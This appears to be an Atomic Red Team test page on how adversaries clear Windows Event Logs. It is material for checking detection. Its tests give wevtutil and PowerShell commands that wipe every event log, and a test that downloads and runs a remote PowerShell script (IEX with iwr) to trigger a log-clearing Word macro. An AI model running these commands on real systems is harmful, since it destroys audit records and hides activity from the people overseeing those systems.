Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.
With administrator privileges, the event logs can be cleared with the following utility commands:
wevtutil cl systemwevtutil cl applicationwevtutil cl securityThese logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell. For example, adversaries may use the PowerShell command
Remove-EventLog -LogName Securityto delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)Adversaries may also attempt to clear logs by directly deleting the stored log files within
C:\Windows\System32\winevt\logs\.
- Atomic Test #1: Clear Logs
- Atomic Test #2: Delete System Logs Using Clear-EventLog
- Atomic Test #3: Clear Event Logs via VBA
Upon execution this test will clear Windows Event Logs. Open the System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty.
Supported Platforms: Windows
auto_generated_guid: e6abb60e-26b8-41da-8aae-0c35174b0967
| Name | Description | Type | Default Value |
|---|---|---|---|
| log_name | Windows Log Name, ex System | string | System |
wevtutil cl #{log_name}Clear event logs using built-in PowerShell commands. Upon successful execution, you should see the list of deleted event logs Upon execution, open the Security.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty or has very few logs in it.
Supported Platforms: Windows
auto_generated_guid: b13e9306-3351-4b4b-a6e8-477358b0b498
$logs = Get-EventLog -List | ForEach-Object {$_.Log}
$logs | ForEach-Object {Clear-EventLog -LogName $_ }
Get-EventLog -listThis module utilizes WMI via VBA to clear the Security and Backup eventlogs from the system.
Elevation is required for this module to execute properly, otherwise WINWORD will throw an "Access Denied" error
Supported Platforms: Windows
auto_generated_guid: 1b682d84-f075-4f93-9a89-8a8de19ffd6e
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1685.005\src\T1685.005-macrocode.txt" -officeProduct "Word" -sub "ClearLogs"try {
New-Object -COMObject "Word.Application" | Out-Null
Stop-Process -Name "winword"
exit 0
} catch { exit 1 }Write-Host "You will need to install Microsoft Word manually to meet this requirement"